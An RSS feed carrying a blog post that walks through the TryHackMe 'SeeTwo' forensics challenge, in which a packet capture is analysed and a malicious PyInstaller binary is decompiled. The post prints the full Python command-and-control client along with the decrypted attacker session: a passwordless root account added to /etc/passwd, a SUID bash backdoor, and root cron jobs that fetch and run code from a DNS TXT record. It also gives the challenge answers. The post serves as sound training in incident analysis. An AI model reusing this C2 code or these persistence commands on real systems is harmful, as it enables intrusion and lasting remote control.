<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Writeups]]></title><description><![CDATA[Writeups]]></description><link>https://jetray.hashnode.dev</link><image><url>https://cdn.hashnode.com/uploads/logos/6ae86f1867ff2256c81c4464/87a6733b-38f4-4651-abc9-3ef49e82905f.jpg</url><title>Writeups</title><link>https://jetray.hashnode.dev</link></image><generator>RSS for Node</generator><lastBuildDate>Thu, 12 Nov 2026 09:36:31 GMT</lastBuildDate><atom:link href="https://jetray.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[TryHackMe - SeeTwo]]></title><description><![CDATA[In this task, we have to step into the digital forensics analyst's shoes and investigate the incident. Let's start our investigation by downloading the…]]></description><link>https://jetray.hashnode.dev/tryhackme-seetwo</link><guid isPermaLink="true">https://jetray.hashnode.dev/tryhackme-seetwo</guid><category><![CDATA[TryHackMe Walkthrough]]></category><category><![CDATA[Writeup]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[TryHackMe SeeTwo]]></category><dc:creator><![CDATA[Cannon bolt]]></dc:creator><pubDate>Mon, 02 Nov 2026 11:29:26 GMT</pubDate><content:encoded><![CDATA[<p>In this task, we have to step into the digital forensics analyst's shoes and investigate the incident. Let's start our investigation by downloading the evidence.zip file. Unzipping it yields a .pcap file, which we then open in Wireshark.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ae86f1867ff2256c81c4464/5d6fca6b-4759-49a1-a45e-418b29de4354.png" alt="" style="display:block;margin:0 auto" />

<p>To get a high-level overview of the traffic distribution, navigate to Statistics → Protocol Hierarchy.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ae86f1867ff2256c81c4464/3ede3601-f920-4066-983b-d9329f4c78d1.png" alt="" style="display:block;margin:0 auto" />

<p>Most of the transmitted data flows over the HTTP protocol. In addition to the Protocol Hierarchy, Statistics → Conversations also provides a high-level view of the traffic.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ae86f1867ff2256c81c4464/6cb9293e-3768-467c-859a-5d7dca613131.png" alt="" style="display:block;margin:0 auto" />

<p>We observed three conversations: SSH traffic on port 22, unknown traffic on port 1337, and HTTP traffic on port 80.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ae86f1867ff2256c81c4464/8ed45327-a3eb-4d7e-9c03-618b2982ef4d.png" alt="" style="display:block;margin:0 auto" />

<p>Within the HTTP traffic, we identified a single request for the base64_client file, with the response containing base64-encoded data. After saving the base64_client file to our working directory, we moved on to investigate the port 1337 traffic.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ae86f1867ff2256c81c4464/5bd3a220-f6f3-4d94-9c7c-78e50a9e2734.png" alt="" style="display:block;margin:0 auto" />

<p>Inspection of the communication on port 1337 identified base64-encoded payloads across both requests and responses; decoding the data recovered several PNG image files.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ae86f1867ff2256c81c4464/0e63ed03-1279-4062-93b8-a671877205db.png" alt="" style="display:block;margin:0 auto" />

<p>After decoding the base64 payload extracted from base64_client, file-type analysis confirmed that the recovered artifact was an executable binary (ELF/PE).</p>
<pre><code class="language-plaintext">cat base64_client | base64 -d &gt; decoded_base64_client
</code></pre>
<pre><code class="language-plaintext"> file decoded_base64_client
</code></pre>
<p>Next, we opened the executable binary in Ghidra and performed static analysis to understand its functionality.</p>
<p>In the entry point, the main function points to thunk_FUN_00403e50. Navigating to that address revealed strings indicating the binary was compiled with PyInstaller, so we extracted its contents using <a href="http://pyinstxtractor.py">pyinstxtractor.py</a>.</p>
<pre><code class="language-plaintext">python pyinstxtractor.py decoded_base64
</code></pre>
<pre><code class="language-plaintext">[+] Processing decoded_base64 
[+] Pyinstaller version: 2.1+ 
[+] Python version: 3.8 
[+] Length of package: 11922732 bytes 
[+] Found 47 files in CArchive 
[+] Beginning extraction...please standby 
[+] Possible entry point: pyiboot01_bootstrap.pyc 
[+] Possible entry point: client.pyc 
[!] Warning: This script is running in a different Python version than the one used to build the executable. 
[!] Please run this script in Python 3.8 to prevent extraction errors during unmarshalling 
[!] Skipping pyz extraction 
[+] Successfully extracted pyinstaller archive: decoded_base64
</code></pre>
<p>You can now use a python decompiler on the pyc files within the extracted directory pyinstxtractor indicates that client.pyc likely serves as the entry point. Because it is compiled Python bytecode, we can use uncompyle6 to decompile it.</p>
<pre><code class="language-plaintext"> uncompyle6 client.pyc
</code></pre>
<pre><code class="language-python"># uncompyle6 version 3.9.3
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.14.7 (main, Sep  5 2026, 05:55:41) [GCC 16.2.0]
# Embedded file name: client.py
import socket, base64, subprocess, sys
HOST = "10.0.2.64"
PORT = 1337

def xor_crypt(data, key):
    key_length = len(key)
    encrypted_data = []
    for i, byte in enumerate(data):
        encrypted_byte = byte ^ key[i % key_length]
        encrypted_data.append(encrypted_byte)
    else:
        return bytes(encrypted_data)


with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    while True:
        received_data = s.recv(4096).decode("utf-8")
        encoded_image, encoded_command = received_data.split("AAAAAAAAAA")
        key = "MySup3rXoRKeYForCommandandControl".encode("utf-8")
        decrypted_command = xor_crypt(base64.b64decode(encoded_command.encode("utf-8")), key)
        decrypted_command = decrypted_command.decode("utf-8")
        result = subprocess.check_output(decrypted_command, shell=True).decode("utf-8")
        encrypted_result = xor_crypt(result.encode("utf-8"), key)
        encrypted_result_base64 = base64.b64encode(encrypted_result).decode("utf-8")
        separator = "AAAAAAAAAA"
        send = encoded_image + separator + encrypted_result_base64
        s.sendall(send.encode("utf-8"))

# okay decompiling client.pyc
</code></pre>
<p>Upon reviewing the decompiled script, we observe that <a href="http://client.py">client.py</a> initializes a socket and connects to the C2 server. It then enters a loop, waiting for incoming data and storing it in a variable.</p>
<p>Next, it splits the received payload using the delimiter AAAAAAAAAA:</p>
<blockquote>
<p>The first chunk is assigned to encoded_image.</p>
</blockquote>
<blockquote>
<p>The second chunk is assigned to encoded_command.</p>
</blockquote>
<p>The script then base64-decodes encoded_command, XORs the resulting bytes with the key 'MySup3rXoRKeYForCommandandControl', and stores the output in decrypted_command. It executes this command via subprocess.check_output and captures the output in result. Finally, it XORs the command output using the same key, base64-encodes the ciphertext, and transmits it back alongside encoded_image, again separated by AAAAAAAAAA. In essence, the client implements a symmetric XOR obfuscation routine to handle command-and-control (C2) instructions.</p>
<p>Now, We can use tshark to extract the all traffic going or coming from port 1337 from the captured .pcap file. We also need to hex decode the output using xxd, as tshark outputs data in hex-encode format.</p>
<pre><code class="language-plaintext">tshark -r capture.pcap -Y "tcp.port == 1337" -T fields -e data | xxd -r -p &gt; payload we write a python program to decrypt payload
</code></pre>
<pre><code class="language-python">import base64

key = b'MySup3rXoRKeYForCommandandControl'
with open("payload","r") as f:
    for line in f:
        hex_string = line.strip()
        
        if not hex_string:
            continue
        
        text = bytes.fromhex(hex_string).decode('utf-8').split("AAAAAAAAAA")[-1]
        decode = base64.b64decode(text)
        xored = bytes(b ^ key[ i % len(key)] for i, b in enumerate(decode))
        print(xored.decode('utf-8',errors='replace'))
</code></pre>
<p>Decrypted payload:</p>
<pre><code class="language-plaintext">id
uid=1000(bella) gid=1000(bella) groups=1000(bella),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)

cat /home/bella/.bash_history
mysql -u root -p'vb0xIkSGbcEKBEi'

sudo -l
Matching Defaults entries for bella on seetwo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bella may run the following commands on seetwo:
    (ALL : ALL) ALL

id
uid=0(root) gid=0(root) groups=0(root)

echo 'toor::0:0:root:/root:/bin/bash' &gt;&gt; /etc/passwd

tail -n 1 /etc/passwd
toor::0:0:root:/root:/bin/bash

cp /usr/bin/bash /usr/bin/passswd

chmod u+s /usr/bin/passswd

ls -l /usr/bin/passswd
-rwsr-xr-x 1 root root 1183448 Oct 27 03:07 /usr/bin/passswd

md5sum /usr/bin/passswd
23c415748ff840b296d0b93f98649dec  /usr/bin/passswd

md5sum /usr/bin/bash
23c415748ff840b296d0b93f98649dec  /usr/bin/bash

echo '* * * * * /bin/sh -c "sh -c $(dig ev1l.thm TXT +short @ns.ev1l.thm)"' &gt;&gt; /var/spool/cron/crontabs/root

tail -n 1 /var/spool/cron/crontabs/root
* * * * * /bin/sh -c "sh -c $(dig ev1l.thm TXT +short @ns.ev1l.thm)"

echo '* * * * * echo L2Jpbi9zaCAtYyAic2ggLWMgJChkaWcgZXYxbC50aG0gVFhUICtzaG9ydCBAbnMuVEhNe1NlZTJzTmV2M3JHZXRPbGR9LnRobSki | base64 | sh' &gt;&gt; /var/spool/cron/crontabs/bella

tail -n 1 /var/spool/cron/crontabs/bella
* * * * * echo L2Jpbi9zaCAtYyAic2ggLWMgJChkaWcgZXYxbC50aG0gVFhUICtzaG9ydCBAbnMuVEhNe1NlZTJzTmV2M3JHZXRPbGR9LnRobSki | base64 | sh
</code></pre>
<ol>
<li>What is the first file that is read? Enter the full path of the file.</li>
</ol>
<p>/home/bella/.bash_history</p>
<ol start="2">
<li>What is the output of the file from question 1?</li>
</ol>
<p>mysql -u root -p'vb0xIkSGbcEKBEi'</p>
<ol start="3">
<li>What is the user that the attacker created as a backdoor? Enter the entire line that indicates the user.</li>
</ol>
<p>toor::0:0:root:/root:/bin/bash</p>
<ol start="4">
<li>What is the name of the backdoor executable?</li>
</ol>
<p>/usr/bin/passswd</p>
<ol start="5">
<li>What is the md5 hash value of the executable from question 4?</li>
</ol>
<p>23c415748ff840b296d0b93f98649dec</p>
<ol start="6">
<li>What was the first cronjob that was placed by the attacker?</li>
</ol>
<p>/bin/sh -c "sh -c $(dig ev1l.thm TXT +short @ns.ev1l.thm)"</p>
<ol start="7">
<li>What is the flag?</li>
</ol>
<p>THM{REDACTED}</p>
]]></content:encoded></item></channel></rss>